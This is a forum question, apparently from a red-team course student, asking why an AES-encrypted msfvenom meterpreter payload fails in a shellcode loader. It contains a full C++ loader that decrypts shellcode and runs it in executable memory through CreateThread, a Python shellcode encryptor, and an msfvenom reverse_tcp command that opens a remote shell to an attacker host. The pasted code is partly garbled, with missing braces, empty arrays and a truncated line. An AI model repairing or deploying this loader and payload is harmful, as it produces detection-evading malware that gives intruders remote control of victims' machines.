AES Encryption + Loader problems (different .bin file formats?)

  aes, c++, encryption, metasploit, penetration-testing

I was taking a course from Sektor 7, whereby the original shellcode from the course instructor and a basic loader together with AES Encryption were used as an example for encryption-and-decryption at runtime. The problem is, that only the course-included shellcodes (.bin files with just a few lines of binary code, that opened an instance of calc.exe (screenshot: worked with the compiled loader

(sourcecode of the loader.cpp:)


 Red Team Operator course code template
 payload encryption with AES
 author: reenz0h (twitter: @sektor7net)

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <wincrypt.h>
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#include <psapi.h>

int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
        HCRYPTPROV hProv;
        HCRYPTHASH hHash;
        HCRYPTKEY hKey;

        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                return -1;
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
                return -1;
        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
                return -1;              
        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
                return -1;
        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
                return -1;
        CryptReleaseContext(hProv, 0);
        return 0;

int main(void) {
    void * exec_mem;
    BOOL rv;
    HANDLE th;
    DWORD oldprotect = 0;

    char key[] = 
    unsigned char calc_payload[] = 
    unsigned int calc_len = sizeof(calc_payload);
    // Allocate memory for payload
    exec_mem = VirtualAlloc(0, calc_len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);

    // Decrypt payload
    AESDecrypt((char *) calc_payload, calc_len, key, sizeof(key));
    // Copy payload to allocated buffer
    RtlMoveMemory(exec_mem, calc_payload, calc_len);
    // Make the buffer executable
    rv = VirtualProtect(exec_mem, calc_len, PAGE_EXECUTE_READ, &oldprotect);

    // If all good, launch the payload
    if ( rv != 0 ) {
            th = CreateThread(0, 0, (LPTHREAD_START_ROUTINE) exec_mem, 0, 0, 0);
            WaitForSingleObject(th, -1);

    return 0;

Now, when I ran a python scrypt for the aes encryption of the calc-binary, and pasted the ciphertext and key into the loader, all worked fine (calc.exe opened). However, when i tried it with a .bin generated with msfvenom,

msfvenom -p windows/meterpreter/reverse_tcp lhost= lport=4444 -f bin -o /tmp/my_payload.bin

in contrary of before, a console window opened and ran, and no connection could be made in the meterpreter session.

Python AES Encryption Source:

# Red Team Operator course code template
# payload encryption with AES
# author: reenz0h (twitter: @sektor7net)

import sys
from Crypto.Cipher import AES
from os import urandom
import hashlib

KEY = urandom(16)

def pad(s):
    return s + (AES.block_size - len(s) % AES.block_size) * chr(AES.block_size - len(s) % AES.block_size)

def aesenc(plaintext, key):

    k = hashlib.sha256(key).digest()
    iv = 16 * 'x00'
    plaintext = pad(plaintext)
    cipher =, AES.MODE_CBC, iv)

    return cipher.encrypt(bytes(plaintext))

    plaintext = open(sys.argv[1], "r").read()
    print("File argument needed! %s <raw payload file>" % sys.argv[0])

ciphertext = aesenc(plaintext, KEY)
print('AESkey[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in KEY) + ' };')
print('payload[] = { 0x' + ', 0x'.join(hex(ord(x))[2:] for x in ciphertext) + ' };')

What differs the .bin file of the course to the .bin file generated by msfconsole, so that one fails in the loader and the other not?

Source: Windows Questions C++